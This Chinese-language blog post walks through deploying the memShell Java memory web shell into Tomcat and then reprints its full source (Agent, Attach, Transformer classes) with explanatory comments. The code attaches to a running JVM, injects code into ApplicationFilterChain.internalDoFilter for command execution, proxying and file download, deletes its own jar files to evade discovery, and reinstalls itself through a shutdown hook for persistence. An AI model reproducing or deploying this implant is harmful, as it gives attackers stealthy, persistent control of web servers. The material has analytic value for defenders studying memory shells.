跟随上一篇《java进程注入》
这里使用memShell
https://github.com/rebeyond/memShell
将agent.jar和inject.jar放到tomcta的web目录下
然后输入命令注入
效果:
注入成功后
可以看到agent.jar文件为了防止发现,自动清除,而且重启电脑之后,内存马不死,继续可以使用
那么memShell分析
主要是下面三个类:
agent.java,Attach.java,Transformer.java
agent.java:
package net.rebeyond.memshell;import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.Query;
import java.io.*;
import java.lang.instrument.Instrumentation;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.util.Arrays;
import java.util.Set;public class Agent {public static String currentPath;public static String password = "qiezi";public static String className = "org.apache.catalina.core.ApplicationFilterChain";public static byte[] injectFileBytes = new byte[]{},agentFileBytes = new byte[]{};public static void agentmain(String agentArgs, Instrumentation inst){inst.addTransformer(new Transformer(),true);if (agentArgs.indexOf("^") >=0){ //字符串的开始位置找元素^找不到是-1.找到进入判断Agent.currentPath = agentArgs.split("\\^")[0]; //以^分割字符,返回分割好的字符串数组,然后得到数组第一个元素Agent.password = agentArgs.split("\\^")[1]; //以以^分割字符,返回分割好的字符串数组,然后得到数组第二个元素}else {Agent.currentPath = agentArgs;}System.out.println("Agent Main Done");Class[] loadedClasses = inst.getAllLoadedClasses(); //获得Instrumentation中的所有类for (Class c : loadedClasses){ //遍历if (c.getName().equals(className)){ //当等于"org.apache.catalina.core.ApplicationFilterChain"时进入iftry{inst.retransformClasses(c); //重新加载,为了达到全部监视,像thread类是在java agent加载之前就已经加载了,所以需要再次加载}catch (Exception e){e.printStackTrace();}}}try {initLoad(); //初始化readInjectFile(Agent.currentPath); //读取inject文件readAgentFile(Agent.currentPath); //读取agent文件clear(Agent.currentPath); //清除文件}catch (Exception e){}Agent.persist(); //持久化}//linux?public static void clear(String currentPath) throws Exception{ //清除Thread clearThread = new Thread(){ //创建清除线程String currentPath = Agent.currentPath; //当前路径public void run(){try {Thread.sleep(5000); //线程等待String injectFile = currentPath + "inject.jar"; //inject文件路径String agentFile = currentPath + "agent.jar"; //agent文件路径new File(injectFile).getCanonicalFile().delete(); //删除injectFiile文件String OS = System.getProperty("os.name").toLowerCase(); //操作系统名if (OS.indexOf("windows") >= 0){try{unlockFile(currentPath); //windows采取foreceDelete.exe强制清除}catch (Exception e){//pass}}new File(agentFile).delete(); //删除agentFile文件} catch (InterruptedException e) {throw new RuntimeException(e);} catch (IOException e) {throw new RuntimeException(e);}}};clearThread.start(); //开启清除线程}public static void unlockFile(String currentPath) throws Exception{String exePath = currentPath + "foreceDelete.exe"; //文件路径InputStream is = Agent.class.getClassLoader().getResourceAsStream("other/forcedelete.exe"); //获取资源输入流FileOutputStream fos = new FileOutputStream(new File(exePath).getCanonicalPath()); //标准文件输出流byte[] bytes = new byte[1024*100];int num =0;while ((num = is.read(bytes)) != -1){ //遍历fos.write(bytes,0,num);fos.flush();}fos.close();is.close();Process process = java.lang.Runtime.getRuntime().exec(exePath + " " + getCurrentPid()); //路径 pidtry{process.waitFor(); //线程等待}catch (Exception e){e.printStackTrace();}new File(exePath).delete(); //文件删除}public static String getCurrentPid(){ //获得当前进程pidRuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean();return runtimeMXBean.getName().split("@")[0];}public static void initLoad() throws Exception{MBeanServer beanServer = ManagementFactory.getPlatformMBeanServer(); //创建MBeanServerSet<ObjectName> objectNames = beanServer.queryNames(new ObjectName("*:type=Connector,*"), Query.match(Query.attr("protocol"),Query.value("HTTP/1.1"))); //查询String host = InetAddress.getLocalHost().getHostAddress(); //根据本机名去/etc/hosts中获取对应ip,一般127.0.0.1String port = objectNames.iterator().next().getKeyProperty("port"); //获取端口String url = "http" + "://" + host + ":" + port; //获取urlString[] models = new String[] {"model=exec&cmd=whoami", "model=proxy", "model=chopper", "model=list&path=.","model=urldownload&url=https://www.baidu.com/robots.txt&path=not_exist:/not_exist" }; //模板for (String model : models){ //遍历String address = url + "/robots.txt?" + "pass_the_world=" + Agent.password + "&" + model;openUrl(address);}}public static void readInjectFile(String filePath) throws Exception{String fileName = "inject.jar"; //定义文件名File f = new File(filePath + File.separator + fileName); //创建File类对象,并执行路径if (!f.exists()){f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName); //文件不存在会在操作系统缓存临时目录进行创建}InputStream is = new FileInputStream(f); //文件输入流byte[] bytes = new byte[1024*100]; //设置数组大小int num = 0;while ((num = is.read(bytes)) != -1){ //一行行读取然后赋值给num,值存在时候进入判断agentFileBytes = mergeByteArray(injectFileBytes, Arrays.copyOfRange(bytes,0,num)); //Arrays.copyOfRange(bytes,0,num) 第一个参数为要拷贝的数组,第二个参数为拷贝的开始位置(包含),第三个参数为拷贝的结束位置(不包含)}is.close();}static byte[] mergeByteArray(byte[]... byteArray){int totalLength = 0; //定义整体长度for (int i = 0;i < byteArray.length;i++){ //遍历if (byteArray[i] == null){ //为空时候继续continue;}totalLength += byteArray[i].length; //每个值长度相加,为总长度totalLength}byte[] result = new byte[totalLength]; //新建大小为totalLength的数组int cur = 0;for (int i = 0; i < byteArray.length;i++){if (byteArray[i] == null){continue;}System.arraycopy(byteArray[i],0,result,cur,byteArray[i].length);//数组之间的复制 arraycopy(Object src, int srcPos, Object dest, int destPos, int length)//src:源数组 srcPos:源数组要复制的起始位置 dest:目的数组 destPos:目的数组放置的起始位置 length:复制的长度cur += byteArray[i].length;}return result; //返回复制后的数组}public static void openUrl(String address) throws Exception{URL url = new URL(address);HttpURLConnection urlcon = (HttpURLConnection) url.openConnection(); //获取连接对象,并无创建连接urlcon.connect(); //建立连接InputStream is = urlcon.getInputStream(); //获取输入流BufferedReader buffer = new BufferedReader(new InputStreamReader(is)); //字符流读取StringBuffer bs = new StringBuffer(); //创建一个 StringBuffer 对象String l = null;while ((l=buffer.readLine())!=null){ //buffer.readLine()每次读取一行数据bs.append(l).append("/n"); //不为null时,加入}}public static void persist(){try {Thread t = new Thread(){public void run(){try {writeFiles("inject.jar", Agent.injectFileBytes);writeFiles("agent.jar",Agent.agentFileBytes);startInject();} catch (Exception e) {throw new RuntimeException(e);}}};t.setName("shutdown Thread");Runtime.getRuntime().addShutdownHook(t);//这个方法是在jvm时候增加一个关闭的钩子,当jvm关闭的时候,会执行系统中已经设置的所以通过方法addshutdownhook添加的钩子,当系统执行完这些钩子后,jvm才会关闭}catch (Exception e){}}public static void startInject() throws Exception{Thread.sleep(2000);String tempFolder = System.getProperty("java.io.tmpdir"); //获取操作系统缓存临时目录String cmd = "java -jar" + tempFolder + File.separator + "inject.jar" + Agent.password; //File.separator相当于'/'Runtime.getRuntime().exec(cmd);}public static void writeFiles(String fileName,byte[] data) throws Exception{String tempFolder = System.getProperty("java.io.tmpdir"); //获取系统缓存临时目录FileOutputStream fso = new FileOutputStream(tempFolder + File.separator + fileName); //文件输出流fso.write(data);fso.close();}public static void main(String[] args) {try{readAgentFile("e:/");String tempPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); //Attach类的绝对路径String agentFile = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath().substring(0,tempPath.lastIndexOf("/"));}catch (Exception e){e.printStackTrace();}}public static void readAgentFile(String filePath) throws Exception{String fileName = "agent.jar"; //定义文件名File f = new File(filePath + File.separator + fileName); //创建File类对象,指定路径if (!f.exists()){f = new File(System.getProperty("java.io.tmpdir")+File.separator+fileName); //文件不存在会在操作系统缓存临时目录进行创建}InputStream is = new FileInputStream(f);byte[] bytes = new byte[1024 * 100];int num = 0;while ((num = is.read(bytes)) != -1){agentFileBytes = mergeByteArray(agentFileBytes,Arrays.copyOfRange(bytes,0,num)); //复制数组}is.close();}}
Attach.java
package net.rebeyond.memshell;import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;import java.io.File;
import java.io.IOException;
import java.util.List;public class Attach {public static void main(String[] args) throws IOException {if (args.length!=1){System.out.println("Usage:java -jar inject.jar password"); //当长度未达到1时候,说明没有输入password,提示return;}VirtualMachine vm = null; //定义虚拟机vmList<VirtualMachineDescriptor> listAfter = null; //一个描述虚拟机的容器类,配合VirtualMachine类完成各种功能List<VirtualMachineDescriptor> listBefore = null;listBefore = VirtualMachine.list();String password = args[0]; //和刚开始说的一样,args的第一位是passwordString currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); //执行.class文件,得到当前class的绝对路径,若是jar包就是得到jar的绝对路径currentPath = currentPath.substring(0,currentPath.lastIndexOf("/")+1); //返回获得路径 lastIndexOf("/")+1取得是/最后一次出现的后一位,也就是String agentFile = currentPath + "agent.jar"; //总路径agentFile = new File(agentFile).getCanonicalPath(); //getCanonicalPath()规范路径String agentArgs = currentPath;if (!password.equals("")||password!=null){agentArgs = agentArgs + "^" + password;}while (true){try{listAfter = VirtualMachine.list();if (listAfter.size() <= 0){continue;}for (VirtualMachineDescriptor vmd : listAfter){ //遍历if (!listBefore.contains(vmd)){ //如果 VM 有增加,我们就认为是被监控的 VM 启动了VirtualMachine.attach(vmd); //附加listBefore.add(vmd); //添加System.out.println("[+]OK.i find a jvm.");Thread.sleep(1000);if (null != vm){vm.loadAgent(agentFile,agentArgs); //Attach API 远程加载System.out.println("[+]memeShell is injected.");vm.detach(); //jvm上删除一个代理return;}}}Thread.sleep(5000);}catch (Exception e){e.printStackTrace();}}}
}
Transformer.java:
package net.rebeyond.memshell;import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;public class Transformer implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader loader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)){try{Class a = Class.forName("javassist.CtClass"); //javassist是一个能处理Java字节码的类库,使用Javassist.CtClass来表示一个class文件,所以说CtClass类就是用来处理class文件的ClassPool cp = ClassPool.getDefault(); //ClassPool是CtClass对象的容器CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain"); //获得ApplicationFilterChain类CtMethod m = cc.getDeclaredMethod("internalDoFilter"); //获得方法m.addLocalVariable("elapsedTime",CtClass.longType); //定义属性,一个long类型的属性,名为elapsedTimem.insertBefore(readSource()); //通过insertBefore插入到方法内容的开始处byte[] byteCode = cc.toBytecode(); //转成字节类文件cc.detach(); //jvm上删除一个代理return byteCode; //返回字节}catch (Exception e){System.out.println("error:"+e.getMessage());}}return null;}public String readSource(){StringBuilder source = new StringBuilder(); //创建空对象sourceInputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt"); //类加载器从当前路径下的source.txt中加载资源InputStreamReader isr = new InputStreamReader(is); //文件字节输入流,获取配置文件中内容String line = null;BufferedReader br = new BufferedReader(isr); //文件缓存输入流try{while ((line=br.readLine()) != null){ //遍历添加source.append(line); //将读出来的数据添加}}catch (Exception e){e.printStackTrace();}return source.toString(); //返回值}
}